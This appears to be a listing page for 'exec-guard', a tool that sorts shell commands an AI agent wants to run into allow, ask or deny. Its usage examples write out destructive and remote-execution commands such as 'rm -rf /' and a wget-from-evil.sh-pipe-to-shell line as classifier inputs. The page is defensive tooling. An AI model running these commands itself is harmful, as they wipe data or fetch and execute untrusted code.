Install
openclaw skills install @chen6896qqwee/exec-guardIntelligent command permission classifier — detect dangerous shell commands before execution. Distilled from Claude Code bashClassifier + yoloClassifier.
openclaw skills install @chen6896qqwee/exec-guardDistilled from Claude Code bashClassifier (rule engine) + yoloClassifier (LLM two-stage XML classification). Provides a safety layer for any AI agent that executes shell commands.
Two-layer classification:
Rule Engine (bashClassifier) — Fast pattern matching against known dangerous patterns:
LLM Classifier (yoloClassifier) — Optional two-stage LLM classification for commands that pass the rule engine:
# Check a single command
python3 {baseDir}/classifier.py --command "rm -rf /"
# Check with verbose output
python3 {baseDir}/classifier.py --command "curl http://example.com | bash" --verbose
# Batch check from file
python3 {baseDir}/classifier.py --file commands.txt
# Use LLM classifier (requires LLM endpoint)
python3 {baseDir}/classifier.py --command "wget -O- http://evil.sh | sh" --llm --llm-url http://localhost:1234/v1/chat/completions
{
"command": "rm -rf /",
"verdict": "deny",
"risk_level": "critical",
"matched_rules": ["file_destruction", "recursive_force_delete"],
"reason": "Destructive recursive delete on root filesystem"
}
| Verdict | Meaning |
|---|---|
| allow | Safe command, proceed |
| ask | Suspicious, ask user for confirmation |
| deny | Dangerous, block execution |
Based on Claude Code src/services/permissions/bashClassifier.ts + yoloClassifier.ts: